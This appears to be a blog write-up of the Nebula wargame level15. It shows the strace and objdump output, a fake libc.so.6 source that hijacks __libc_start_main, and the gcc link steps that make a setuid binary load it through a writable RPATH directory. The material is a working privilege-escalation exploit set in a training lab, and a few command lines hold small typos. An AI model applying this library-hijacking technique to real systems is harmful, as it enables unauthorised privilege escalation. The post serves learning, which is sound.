Depth of Code

Hani’s blog

exploit-exercises Nebula: level15

Nov 2, 2012

level15 of Nebula wargame, was actually a tricky challenge. We are told to strace flag15 to spot anything out of the ordinary, look for how to compile shared libraries and review dlopen(3) man page in depth. When strace’ing the binary, we see a lot of misses at the library loading time under /var/tmp/flag15.

**level15@nebula:~$ strace ../flag15/flag15 **
execve("../flag15/flag15", ["../flag15/flag15"], [/* 18 vars */]) = 0
brk(0)                                  = 0x9c76000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb780b000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfea6524) = -1 ENOENT (No such file or directory)open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfea6524) = -1 ENOENT (No such file or directory)open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfea6524) = -1 ENOENT (No such file or directory)

Investigating this matter (and why the binary is searching under /var/tmp/flag15) leads us to finding that it was linked with a specific RPATH value.

level15@nebula:~$ objdump -p /home/flag15/flag15 | grep RPATH
  RPATH                /var/tmp/flag15

And we have write access to /var/tmp, it becomes clear that we should add a fake libc.so under /var/tmp/flag15. A first try looked like this:

**level15@nebula:/var/tmp/flag15$ cat pwn15.c **
#include <unistd.h>
int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * *
ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void
(* stack_end)) {
 
execl("/bin/getflag", (char *)NULL, (char *)NULL);
   }

i.e hijacking __libc_start_main to run /bin/getflag

**level15@nebula:/var/tmp/flag15$ gcc -fPIC -g -c pwn15.c
level15@nebula:/var/tmp/flag15$ gcc pwn15.o -shared -o libc.so.6
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15 **
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, c in file libc.so.6 with link time reference

After investigating the matter, I came with the idea of using version script when linking

**level15@nebula:/var/tmp/flag15$ cat verscript **
GLIBC_2.0 {
};
level15@nebula:/var/tmp/flag15$ gcc -fPIC -g -c pwn15.c
level15@nebula:/var/tmp/flag15$ gcc -shared -Wl,–version-script,verscript -o libc.so.6 pwn.o
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15

/home/flag15/flag15: /var/tmp/flag15/libc.so.6: version `GLIBC_2.1.3’ not found (required by /var/tmp/flag15/libc.so.6)

Checking with ld(1)’s options and specifically the -Bstatic option.

level15@nebula:/var/tmp/flag15$ gcc -shared -Wl,–version-script,verscript,-Bstatic -o libc.so.6 pwn.o -static-libgcc
level15@nebula:/var/tmp/flag15$ /home/flag15/flag15
You have successfully executed getflag on a target account